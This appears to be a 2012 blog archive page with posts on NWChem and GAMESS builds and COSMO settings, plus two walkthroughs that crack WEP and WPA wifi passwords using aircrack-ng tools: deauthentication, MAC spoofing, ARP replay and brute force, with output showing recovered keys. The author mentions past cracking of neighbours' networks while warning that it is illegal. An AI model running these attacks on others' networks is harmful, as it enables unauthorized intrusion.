31 October 2012

273. NWChem and COSMO: custom radii

There are two approaches described in the nwchem manual for using custom radii in COSMO calculations:

geometry
  H  0 0 0
  H  0 1 0
  O  1 0 0
end
cosmo
       radius 1.1
              1.1
              1.8
end

and
cosmo
end
set cosmo:map custom.par

where custom.par looks like this:
H 1.1
O 1.8
The downside to the first example is that it's a PITA to use -- you need to enter each vdw radius in the order you are listing the atoms in the geometry section. It means that for a 50 atom geometry you need to enter 50 values, even if all 50 atoms are the same element.

The downside with the second example is that you need to first create the run folder, put cosmo.par there and first then can you submit.

An easier approach is to create the custom.par on the fly using task shell:
task shell "echo -e 'H 1.1 \n O 1.8' > mycosmopars.par"
cosmo
end
set cosmo:map mycosmopars.par

30 October 2012

272. Compiling NWChem 6.1.1.1 on ROCKS 5.4.3/CentOS 5.6

Nothing weird with this one and it's all but identical to the build on debian, but here's a step by step anyway to help those who are computational chemists, but not sysadmins.

Preparations:
First compile openblas according to http://verahill.blogspot.com.au/2012/05/building-nwchem-61-on-debian.html 

Next, create e.g. /share/apps/nwchem, like this
sudo mkdir /share/apps/nwchem
sudo chmod 755 /share/apps/nwchem

It will allows you to read, write and execute. It will allow group members and 'world' to read and execute, but not write.

If you've already built earlier versions of nwchem you want to skip the steps above.

NWChem:
You will need to go to http://www.nwchem-sw.org/index.php/Download and download version 6.1.1. Using the direct link (http://www.nwchem-sw.org/images/Nwchem-6.1.1-src.2012-06-27.tar.gz) with wget isn't working for me anymore.

Put your Nwchem-6.1.1-src.2012-06-27.tar.gz in /share/apps/nwchem and expand it.
tar xvf Nwchem-6.1.1-src.2012-06-27.tar.gz
cd nwchem-6.1.1-src/

Create buildconf.sh
export LARGE_FILES=TRUE
export TCGRSH=/usr/bin/ssh
export NWCHEM_TOP=`pwd`
export NWCHEM_TARGET=LINUX64
export NWCHEM_MODULES="all python"
export PYTHONHOME=/opt/rocks
export PYTHONVERSION=2.4
export USE_MPI=y
export USE_MPIF=y
export USE_MPIF4=y
export MPI_LOC=/opt/openmpi
export MPI_INCLUDE=/opt/openmpi/include
export LIBRARY_PATH=$LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas
export LIBMPI="-lmpi -lopen-rte -lopen-pal -ldl -lmpi_f77 -lpthread"
export BLASOPT="-L/share/apps/openblas/lib -lopenblas -lopenblas_nehalem-r0.1.1 -lopenblas_nehalemp-r0.1.1"
cd $NWCHEM_TOP/src
export FC=gfortran
make clean
make  nwchem_config
make  FC=gfortran |tee make.log
cd ../contrib
./getmem.nwchem

Before running it, edit src/config/makefile.h and change line 1957:
1957      EXTRA_LIBS +=    -lnwcutil  -lpthread -lutil -ldl -lz -lssl
You are now ready to build.
time sh buildconf.sh

It took about 15 minutes to build -- a clear improvement over 6.1 for me (30 min+)

Create a default.nwchemrc in your /share/apps/nwchem/nwchem-6.1.1-src/ folder
nwchem_basis_library /share/apps/nwchem/nwchem-6.1.1-src/src/basis/libraries/
ffield amber
amber_1 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_s/
amber_2 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_x/
amber_3 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_q/
amber_4 /share/apps/nwchem/nwchem-6.1.1-src/src/data/amber_u/
amber_5 /share/apps/nwchem/nwchem-6.1.1-src/src/data/custom/
spce /share/apps/nwchem/nwchem-6.1.1-src/src/data/solvents/spce.rst
charmm_s /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_s/
charmm_x /share/apps/nwchem/nwchem-6.1.1-src/src/data/charmm_x/
Then each user can do
ln -s /share/apps/nwchem/nwchem-6.1.1-src/default.nwchemrc ~/.nwchemrc

You might also want to add nwchem to path -- add
export PATH=$PATH:/share/apps/nwchem/nwchem-6.1.1-src
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/openmpi/lib:/share/apps/openblas
to your ~/.bashrc

271. Your neighbours' WPA and you

So WEP is very easy to break, but WPA is much more of a challenge and breaking it involves a brute force attack.

The point of this post is to show that 1) you should select reasonably complex passwords (complex from a dictionary/autogeneration POV) and 2) no password is uncrackable, so changing your password on a regular basis is a good idea.

See http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html to get set up with aircrack and kismet.

For this post I used my office wifi and my android phone as the client.
 AP: "edunet2", Channel 6, MAC 00:1F:33:30:XX:XX,  Client: MAC 00:23:76:B0:XX:XX

Snooping
Kismet is a good tool for this. See here for how to get started with kismet: http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html

Or you could just use your android phone and a decent wireless scanner...


Attacking
First set up your interface and a work directory:
mkdir ~/airscan
cd ~/airscan
sudo airmon-ng start wlan1

Next, start to collect data:
sudo airodump-ng -c 6 --bssid 00:1F:33:30:XX:XX -w psk wlan1
CH 6 ][ Elapsed: 2 mins ][ 2012-10-29 11:43 ][ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:1F:33:30:XX:XX -21 0 1536 711 0 6 54e. WPA TKIP PSK edunet2 BSSID STATION PWR Rate Lost Packets 00:1F:33:30:XX:XX 00:23:76:B0:XX:XX -18 54e-54e 0
You can now either wait, and wait and wait -- until you manage to capture a handshake (connection between client and AP).

 Or you can force things a bit if there's a client attached. To force it, de-authenticate the real client and hope that it's been set to auto-reconnect.
sudo aireplay-ng -0 1 -a 00:1F:33:30:XX:XX -c 00:23:76:B0:XX:XX wlan1
11:41:03 Waiting for beacon frame (BSSID: 00:1F:33:30:XX:XX) on channel 6 11:41:04 Sending 64 directed DeAuth. STMAC: [00:23:76:B0:XX:XX] [ 0|63 ACKs]
You're done when you see "WPA handshake: 00:1F:33:30:XX:XX" in the upper right corner.

Depending on how far away you are from the AP and the client this may or may not be easy.

Cracking the password exchanged during the handshake is the biggest challenge though.

Cracking for show
In the case you actually already know the password (e.g. you're cracking your own wireless), create a file called password.lst with your password in it. Or get a dictionary file and add your password to it.

Then run
aircrack-ng -w password.lst -b 00:1F:33:30:XX:XX psk*.cap

which gives
                                 Aircrack-ng 1.1 r1901


                   [00:00:00] 1 keys tested (389.52 k/s)


                      KEY FOUND! [ supersecretpassword ]


      Master Key     : 49 97 0F F9 BE 9E BB DB 9B 92 70 E2 2A 31 D5 1D 
                       29 31 24 17 83 E9 45 63 D3 B0 E1 AE FA 65 DF 7B 

      Transient Key  : 37 6A 8D BC D6 2F 13 BD 31 DA B8 F4 21 A7 65 5C 
                       A9 39 9A 6B 68 44 D6 12 17 D2 E2 A5 6E 9E 51 19 
                       4D A7 F7 5E 96 EB 41 06 D5 55 8A 53 23 04 66 D1 
                       86 AC CC A1 13 17 CC 1A BF 62 9E 9B 20 6C DC 10 

      EAPOL HMAC     : B3 07 9D 1A 16 A4 E0 EB C2 EE 71 81 D5 CB 56 E8 

As far as I understand aircrack-ng only support dictionary based attacks for WPA.


Brute-force using John the Ripper (sort of):
Ideally I should use the method shown below this section, but I haven't quite gotten that to work.

Instead I use john to generate the random strings and pipe them to aircrack-ng:

/opt/john/john-1.7.9/run/./john  --incremental=Alpha --stdout| aircrack-ng -b 00:1F:33:30:XX:XX -w - psk*.cap

And that kind of works, although awkwardly so -- you can look at john.conf for limits to how the random passwords are generated (i.e. MaxLen, MinLen)

What should've worked follows below -- but it doesn't work for me.


So far not working:
*In theory everything below works, but I'm having no luck cracking the password even if I put it in the dictionary -- which is the points of the whole exercise.

Brute-forcing using John the Ripper:
This requires more brawn than brain, so using e.g. John the Ripper may be a good idea. See here for a suitable set-up for a beowulf cluster: http://verahill.blogspot.com.au/2012/09/compiling-john-ripper-singleserial.html

The only issue is that John the Ripper doesn't handle cap files directly.

Compile and install cap2hccap:
mkdir ~/tmp/cap2hccap
cd ~/tmp/cap2hccap
wget http://sourceforge.net/projects/cap2hccap/files/cap2hccap.tar.gz
tar xvf cap2hccap.tar.gz
make

That creates a binary called cap2hccap.bin.

You might get a few warnings, but that's nothing to worry about. You might want to move the binary to e.g. /usr/local/bin
sudo mv cap2hccap.bin /usr/local/bin/

Convert your cap file from before
cap2hccap.bin psk-02.cap psk-02.hccap
[info ] writing handshake for "edunet2".
Convert that file in turn:
/opt/john/john-1.7.9-jumbo-6/run/hccap2john psk-02.hccap > psk-02.john

And crack
touch john.ini
john --wordlist=password.lst --format=wpapskda psk-02.john

I'm just generally having very little luck with john the ripper to be honest, regardless of what I'm trying to crack -- so far I've only managed to test the password strengths of users on one of my linux boxes.


Errors:
If you get
./hccap2john psk-02.hccap psk-02.john
hccap2john: hccap2john.c:75: process_file: Assertion `bytes==392' failed. Aborted
you should upgrade to version 1.7.9-jumbo-7 or better.
 Bug reported here: https://bugs.archlinux.org/task/30516 and here: http://www.openwall.com/lists/john-dev/2012/07/07/3

If you get
john --wordlist=/opt/john/wordlist.lst --format=wpapsk psk-02.john
fopen: $JOHN/john.ini: No such file or directory
just create a file called john.ini in your working directory
touch john.ini

29 October 2012

270. Artificial limits

I don't normally care about windows or mac. It's been a long time since I bothered converting people to linux, and I read news about windows like I would read news about BSD -- with only mild interest.

But since I recently upgraded one of my nodes to 32 GB RAM I spent some time googling about what things I could do with it (the purpose of all that ram is computational chemistry -- in particular frequency calculations) and stumbled across a post: http://forums.anandtech.com/showthread.php?t=2234771

The thread is called: "How much RAM is too much?", and someone answered "193 gb", which turned out to be a reference to the artificially imposed limits on windows 7: http://www.zdnet.com/blog/hardware/max-memory-limits-for-64-bit-windows-7/4254

Apparently you can use 8 gb for the lower end, 16 gb for 'normal' home use, and 192 gb for the high end versions. I guess the fact that there's a 192 gb limit at all (I don't think there are any single-board boxes that can take much more than 64 gb, or possibly 128 gb, at the moment) is to avoid a repeat of XP, where the OS stopped making MS money long after they had tried to deprecate it.

The number of physical cpus is limited to 1 for the low end and 2 for the 'professional' versions. When it comes to logical cores it's 32 for 32 bit and 256 for 64 bit.

I'm not sure if the latter is an artificial or real limit, but the former certainly is artifically imposed.

Oh well, doesn't hurt being reminded every now and again about the frankly absurd things that the commercial world of software comes up with. You don't often get 'pro' versions in the FOSS world...

269. Your neighbours' WEP wifi and you

A few years ago when I was living in an apartment block mainly inhabited by university students I took to cracking the passwords to my neighbours' WEP 'protected' wifi networks whenever I got bored -- the cracking WEP doesn't require much either in terms of brain or brawn, so it's admittedly not much of an accomplishment.

I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...

So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.

But here's a thought -- set up your own network and crack it for fun.  Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.

 Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)

DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.

Anyway, WEP.

You'll need aircrack-ng and you might want kismet.


Kismet is available in the repos
sudo apt-get install kismet

You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:
Bus 002 Device 003: ID 148f:2870 Ralink Technology, Corp. RT2870 Wireless Adapter

So I put the following in my /etc/kismet/kismet.conf

source=rt73,wlan1,expt

Use kismet to snoop for WEP wifi's and then get lists of associate clients:
sudo kismet


Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.

Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.

Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.


You do need Aircrack-ng.

wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar xvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1/

Edit common.mak and change
70 CFLAGS          ?= -g -W -Wall -Werror -O3

to
70 CFLAGS          ?= -g -W -Wall -O3

Compile and install:
make
sudo make install

You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.


If you were using network-manager you would now turn it off:
sudo service network-manager stop

If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:
ps aux|grep dhclient
ps aux|grep wpa_supplicant
sudo service wicd stop
sudo service avahi-daemon stop


But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.

We need a directory to work in:


mkdir ~/airscan
cd ~/airscan



Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):
sudo airmon-ng start wlan2
Found 4 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 2877 avahi-daemon 2878 avahi-daemon 4813 wpa_supplicant 4888 dhclient Process with PID 4813 (wpa_supplicant) is running on interface wlan0 Process with PID 4888 (dhclient) is running on interface wlan0 Interface Chipset Driver wlan2 Ralink RT2870/3070 rt2800usb - [phy1] (monitor mode enabled on mon0) wlan0 Unknown iwlwifi - [phy0]
Check that there's a monX interface:
sudo ifconfig
mon0 Link encap:UNSPEC HWaddr 00-0D-0A-53-19-XX-3A-30-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:238 errors:0 dropped:238 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:16279 (15.8 KiB) TX bytes:0 (0.0 B
If you didn't use e.g. kismet above you can now scan the local environment using aireplay-ng (sudo aireplay-ng -9 mon0), although it often doesn't pick up all the networks which are accessible.


The attack

A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.

sudo airodump-ng -c 1 --bssid 00:1D:92:16:XX:XX -w output mon0

If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:
 
CH  1 ][ Elapsed: 0 s ][ 2012-10-28 18:37                                        BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSI
00:1D:92:16:XX:XX  -76   0       30        7    1   1  54e  WEP  WEP             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes        00:1D:92:16:XX:XX  00:13:E8:8E:46:XX  -77    2 -12e     1        5 


Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.

In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.

B. To do that, in a second terminal run:

sudo aireplay-ng -1 0 -a 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-one
The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:39:40 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 18:39:40 Sending Authentication Request (Open System) 18:39:42 Sending Authentication Request (Open System) 18:39:44 Sending Authentication Request (Open System) 18:39:46 Sending Authentication Request (Open System) 18:39:48 Sending Authentication Request (Open System) 18:39:48 Authentication successful 18:39:48 Sending Association Request 18:39:48 Association successful :-) (AID: 1)
and in a third terminal doing
sudo aireplay-ng -3 -b 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-one
The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:53:56 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 Saving ARP requests in replay_arp-1028-185356.cap You should also start airodump-ng to capture replies. Read 16660 packets (got 3 ARP requests and 18 ACKs), sent 7334 packets...(500 pps)
To be honest I don't know what the effect of this is like on the user whose MAC you are spoofing. I tend to stir things up for five minutes, then stop, wait ten minutes, then another five minutes, and it works quite ok. Also, sometimes you get higher data rates when you're NOT trying to push it. Each network is a little bit different.

It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.

C. Once you've started capturing data (see A) you can start cracking:

In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)
sudo aircrack-ng -b 00:1D:92:16:XX:XX output*.cap
Aircrack-ng 1.1 r1892 [01:49:20] Tested 27854 keys (got 10135 IVs) KB depth byte(vote) 0 0/ 24 6D(14592) A1(14592) D2(14592) 9E(14336) BA(14336) 26(14080) 13(13824) B4(13824) AE(13312) B2(13312) DF(13056) 1 3/ 5 93(14080) CE(13568) 4C(13312) 7E(13312) 93(13312) E6(13312) 16(13056) BB(13056) E3(13056) F0(13056) 17(12800) 2 2/ 3 67(15104) 57(13824) B8(13568) 22(13312) 4B(13312) B3(13312) EB(13312) 73(13056) 76(13056) C0(13056) D7(13056) 3 1/ 12 69(14848) 71(14592) 30(14592) 96(14080) A4(13568) 1D(13568) 35(13568) 8F(13312) B8(13056) E4(13056) 5F(13056) 4 4/ 8 63(13824) 2E(13568) E6(13568) ED(13568) 80(13312) AD(13312) C6(13312) EC(13312) 1C(12800) 21(12800) 7A(12800) KEY FOUND! [ 6D:61:67:69:63 ] (ASCII: magic ) Decrypted correctly: 100%
Typically you won't have much luck until you have 5-20k IVs. Sometimes that's quick and easy (I've cracked APs in 3-4 minutes), sometimes it's slow and cumbersome (can take hours doing passive snooping).

And that's how easy WEP is to break. Don't use it.

28 October 2012

268. Compiling and testing GAMESS US on debian testing (wheezy)

Update 3: 9 May 2013. Fixed a couple of mistakes e.g. related to mpi. I also switched from ATLAS to acml -- when I build with ATLAS a lot of the example inputs do not converge.

Update 2: Pietro (see posts below) identified some odd behaviour when running test exam44 in which the scf failed to converge. The (temporary) fix for that has been included in the instructions below (change line 1664 in the file 'comp') -- most likely it's only a single file which needs to be compiled with -O0, but it will take a while to identify which one that is. Having to use -O0 on a performance critical piece of software is obviously unfortunate.

Update:
I've done this on ROCKS 5.4.3/ Centos 5.6 as well. Be aware that because of the ancient version of gfortran (4.1.2) on ROCKS there will be some limitations:

   Alas, your version of gfortran does not support REAL*16,
   so relativistic integrals cannot use quadruple precision.
   Other than this, everything will work properly.
Other than that, follow the instructions below (including editing lked)

Original post:
Solvation energies using implicit solvation is a tough nut to crack. I like working with NWChem, but there's only one solvation model (COSMO) implemented, it has had a history of giving results which are wildly different (>20 kcal/mol! It's fixed now -- using b3lyp/6-311++g** with the cosmo parameters in that post I got 63.68 kcal/mol for Cl-) from that of other software packages (partly due to a bug which was fixed in 2011), and I'm still not sure how to properly use the COSMO module (is rsolv 0 a reasonable value?). Obviously, my own unfamiliarity with the method is another issue, but that's where the idea of sane defaults come in. So, time to test and compare with other models. Reading Cramer, C. J.; Truhlar, D. G. A Acc. Chem. Res. 2008, 41, 760–768 got me interested in GAMESS US again.

Gaussian is not really an attractive option for me anymore for performance reasons (caveat: as seen by me on my particular systems using precompiled binaries). Free (source code + cost) is obviously also always attractive. Being a linux sort of person also plays into it.

So, here's how to get your cluster set up for gamess US:
1. Go to http://www.msg.chem.iastate.edu/GAMES S/download/register/
Select agree, then pick your version -- in my case
GAMESS version May 1, 2012 R1 for 64 bit (x86_64 compatible) under Linux with gnu compilers

Once you've completed your order you're told you may have to wait for up to a week before your registration is approved, but I got approved in less than 24 hours.

[2. Register for GAMESSPLUS at http://comp.chem.umn.edu/license/form-user.html
Again, it may take a little while to get approved -- in my case it was less than 24 hours. Also, it seems that you don't need a separate GAMESSPLUS anymore]

3. Download gamess-current.tar.gz as per the instructions and put it in /opt/gamess (once you've created the folder)

4. If you're using AMD you're in luck -- set up acml on your system. In my case I put everything in /opt/acml/acml5.2.0

I've had bad luck with ATLAS.

5. Compile
sudo apt-get install build-essential gfortran openmpi-bin libopenmpi-dev libboost-all-dev
sudo mkdir /opt/gamess
sudo chown $USER /opt/gamess
cd /opt/gamess
tar xvf gamess-current.tar.gz 
cd gamess/

You're now ready to autoconfigure.

The lengthy autoconfigure.
 Note that
* the location of your openmpi libs may vary -- the debian libs are put in /usr/bin/openmpi/lib by default, but I'm using my own compiled version which I've put in /opt/openmpi
* gamess is linked against the static libraries by default, so if you compiled atlas as is described elsewhere on this blog, you'll be fine.

./config
This script asks a few questions, depending on your computer system,
to set up compiler names, libraries, message passing libraries,
and so forth.
 
You can quit at any time by pressing control-C, and then .
 
Please open a second window by logging into your target machine,
in case this script asks you to 'type' a command to learn something
about your system software situation.  All such extra questions will
use the word 'type' to indicate it is a command for the other window.
 
After the new window is open, please hit  to go on.

   GAMESS can compile on the following 32 bit or 64 bit machines:
axp64    - Alpha chip, native compiler, running Tru64 or Linux
cray-xt  - Cray's massively parallel system, running CNL
hpux32   - HP PA-RISC chips (old models only), running HP-UX
hpux64   - HP Intel or PA-RISC chips, running HP-UX
ibm32    - IBM (old models only), running AIX
ibm64    - IBM, Power3 chip or newer, running AIX or Linux
ibm64-sp - IBM SP parallel system, running AIX
ibm-bg   - IBM Blue Gene (P or L model), these are 32 bit systems
linux32  - Linux (any 32 bit distribution), for x86 (old systems only)
linux64  - Linux (any 64 bit distribution), for x86_64 or ia64 chips
           AMD/Intel chip Linux machines are sold by many companies
mac32    - Apple Mac, any chip, running OS X 10.4 or older
mac64    - Apple Mac, any chip, running OS X 10.5 or newer
sgi32    - Silicon Graphics Inc., MIPS chip only, running Irix
sgi64    - Silicon Graphics Inc., MIPS chip only, running Irix
sun32    - Sun ultraSPARC chips (old models only), running Solaris
sun64    - Sun ultraSPARC or Opteron chips, running Solaris
win32    - Windows 32-bit (Windows XP, Vista, 7, Compute Cluster, HPC Edition)
win64    - Windows 64-bit (Windows XP, Vista, 7, Compute Cluster, HPC Edition)
winazure - Windows Azure Cloud Platform running Windows 64-bit
    type 'uname -a' to partially clarify your computer's flavor.
please enter your target machine name: linux64

Where is the GAMESS software on your system?
A typical response might be /u1/mike/gamess,
most probably the correct answer is /home/me/tmp/gamess
 
GAMESS directory? [/opt/gamess] /opt/gamess

Setting up GAMESS compile and link for GMS_TARGET=linux64
GAMESS software is located at GMS_PATH=/home/me/tmp/gamess
 
Please provide the name of the build locaation.
This may be the same location as the GAMESS directory.
 
GAMESS build directory? [/opt/gamess] /opt/gamess

Please provide a version number for the GAMESS executable.
This will be used as the middle part of the binary's name,
for example: gamess.00.x

Version? [00] 12r1

Linux offers many choices for FORTRAN compilers, including the GNU
compiler set ('g77' in old versions of Linux, or 'gfortran' in
current versions), which are included for free in Unix distributions.
 
There are also commercial compilers, namely Intel's 'ifort',
Portland Group's 'pgfortran', and Pathscale's 'pathf90'.  The last
two are not common, and aren't as well tested as the others.
 
type 'rpm -aq | grep gcc' to check on all GNU compilers, including gcc
type 'which gfortran'  to look for GNU's gfortran (a very good choice),
type 'which g77'       to look for GNU's g77,
type 'which ifort'     to look for Intel's compiler,
type 'which pgfortran' to look for Portland Group's compiler,
type 'which pathf90'   to look for Pathscale's compiler.
Please enter your choice of FORTRAN: gfortran

gfortran is very robust, so this is a wise choice.

Please type 'gfortran -dumpversion' or else 'gfortran -v' to
detect the version number of your gfortran.
This reply should be a string with at least two decimal points,
such as 4.1.2 or 4.6.1, or maybe even 4.4.2-12.
The reply may be labeled as a 'gcc' version,
but it is really your gfortran version.
Please enter only the first decimal place, such as 4.1 or 4.6:  
4.6

   Good, the newest gfortran can compile REAL*16 data type.
hit <return> to continue to the math library setup.

Linux distributions do not include a standard math library.
 
There are several reasonable add-on library choices,
       MKL from Intel           for 32 or 64 bit Linux (very fast)
      ACML from AMD             for 32 or 64 bit Linux (free)
     ATLAS from www.rpmfind.net for 32 or 64 bit Linux (free)
and one very unreasonable option, namely 'none', which will use
some slow FORTRAN routines supplied with GAMESS.  Choosing 'none'
will run MP2 jobs 2x slower, or CCSD(T) jobs 5x slower.
 
Some typical places (but not the only ones) to find math libraries are
Type 'ls /opt/intel/mkl'                 to look for MKL
Type 'ls /opt/intel/Compiler/mkl'        to look for MKL
Type 'ls /opt/intel/composerxe/mkl'      to look for MKL
Type 'ls -d /opt/acml*'                  to look for ACML
Type 'ls -d /usr/local/acml*'            to look for ACML
Type 'ls /usr/lib64/atlas'               to look for Atlas
 
Enter your choice of 'mkl' or 'atlas' or 'acml' or 'none': acml

Type 'ls -d /opt/acml*' or 'ls -d /usr/local/acml*'
and note the the full path, which includes a version number.
enter this full pathname: /opt/acml/acml5.2.0
Math library 'acml' will be taken from /opt/acml/acml5.2.0/gfortran64_int64/lib
please hit <return> to compile the GAMESS source code activator
gfortran -o /home/me/tmp/gamess/build/tools/actvte.x actvte.f
unset echo
Source code activator was successfully compiled.
 
please hit  to set up your network for Linux clusters.

If you have a slow network, like Gigabit Ethernet (GE), or
if you have so few nodes you won't run extensively in parallel, or
if you have no MPI library installed, or
if you want a fail-safe compile/link and easy execution,
     choose 'sockets'
to use good old reliable standard TCP/IP networking.
 
If you have an expensive but fast network like Infiniband (IB), and
if you have an MPI library correctly installed,
     choose 'mpi'.
 
communication library ('sockets' or 'mpi')? mpi

The MPI libraries which work well on linux64/Infiniband are
      Intel's MPI (impi)
      MVAPICH2
      SGI's mpt from ProPack, on Altix/ICE systems
Other libraries may work, please see 'readme.ddi' for info.
The choices listed above will compile and link easily,
and are known to run correctly and efficiently.

Enter 'sockets' if you just changed your mind about trying MPI.

Enter MPI library (impi, mvapich2, mpt, sockets): openmpi
MPI can be installed in many places, so let's find openmpi.
The person who installed your MPI can tell you where it really is.
 
impi     is probably located at a directory like
              /opt/intel/impi/3.2
              /opt/intel/impi/4.0.1.007
              /opt/intel/impi/4.0.2.003
         include iMPI's version numbers in your reply below.
mvapich2 could be almost anywhere, perhaps some directory like
              /usr/mpi/gcc/mvapich2-1.6
openmpi  could be almost anywhere, perhaps some directory like
              /usr/mpi/openmpi-1.4.3
mpt      is probably located at a directory like
              /opt/sgi/mpt/mpt-1.26
Please enter your openmpi's location: /opt/openmpi/1.6

Your configuration for GAMESS compilation is now in
     /home/me/tmp/gamess/build/install.info
Now, please follow the directions in
     /opt/gamess/machines/readme.unix



I next did this:

cd /opt/gamess/ddi
./compddi
cd ../

Edit the file 'comp' and change it from

1664       set OPT='-O2'
to
1664       set OPT='-O0'

or test case exam44.inp in tests/standard will fail due to lack of SCF convergence. (I've tried -O1 as well with no luck)

Continue your compilation:
./compall

Running 'compall' reads "install.info" which I include below:
#!/bin/csh
#   compilation configuration for GAMESS
#   generated on beryllium
#   generated at Friday 21 September  08:48:09 EST 2012
setenv GMS_PATH            /opt/gamess
setenv GMS_BUILD_DIR       /opt/gamess
#         machine type
setenv GMS_TARGET          linux64
#         FORTRAN compiler setup
setenv GMS_FORTRAN         gfortran
setenv GMS_GFORTRAN_VERNO  4.6
#         mathematical library setup
setenv GMS_MATHLIB         acml
setenv GMS_MATHLIB_PATH    /opt/acml/acml5.2.0//gfortran64_int64/lib
#         parallel message passing model setup
setenv GMS_DDI_COMM        mpi
setenv GMS_MPI_LIB         openmpi
setenv GMS_MPI_PATH        /opt/openmpi/1.6

Note that you can't change the gfortran version here either -- 4.7 won't be recognised.

Anyway, compilation will take a while -- enough for some coffee and reading.

In the next step you may have problems with openmpi -- lked looks in e.g. /opt/openmpi/1.6/lib64 but you'll probably only have /opt/openmpi/1.6/lib

Edit lked and change
 958             case openmpi:
 959                set MPILIBS="-L$GMS_MPI_PATH/lib64"
 960                set MPILIBS="$MPILIBS -lmpi"
 961                breaksw
to
 958             case openmpi:
 959                set MPILIBS="-L$GMS_MPI_PATH/lib"
 960                set MPILIBS="$MPILIBS -lmpi -lpthread"
 961                breaksw



Generate the runtime file:
./lked gamess 12r1 >&  lked.log

Done!


To compile with openblas:
1. edit install.info
#!/bin/csh
#   compilation configuration for GAMESS
#   generated on tantalum
#   generated at Friday 21 September  14:01:54 EST 2012
setenv GMS_PATH            /opt/gamess
setenv GMS_BUILD_DIR       /opt/gamess
#         machine type
setenv GMS_TARGET          linux64
#         FORTRAN compiler setup
setenv GMS_FORTRAN         gfortran
setenv GMS_GFORTRAN_VERNO  4.6
#         mathematical library setup
setenv GMS_MATHLIB         openblas
setenv GMS_MATHLIB_PATH    /opt/openblas/lib
#         parallel message passing model setup
setenv GMS_DDI_COMM        mpi
setenv GMS_MPI_LIB         openmpi
setenv GMS_MPI_PATH        /opt/openmpi/1.6

2. edit lked
Add lines 462-466 which sets up the openblas switch.

 453       endif
 454       set BLAS=' '
 455       breaksw
 456 
 457    case acml:
 458       #     do a static link so that only compile node needs to install ACML
 459       set MATHLIBS="$GMS_MATHLIB_PATH/libacml.a"
 460       set BLAS=' '
 461       breaksw
 462 case openblas:
 463        #     do a static link so that only compile node needs to install openblas
 464        set MATHLIBS="$GMS_MATHLIB_PATH/libopenblas.a"
 465        set BLAS=' '
 466        breaksw
 467 
 468    case none:
 469    default:
 470       echo "Warning.  No math library was found, you should install one."
 471       echo "    MP2 calculations speed up about 2x with a math library."
 472       echo "CCSD(T) calculations speed up about 5x with a math library."
 473       set BLAS='blas.o'
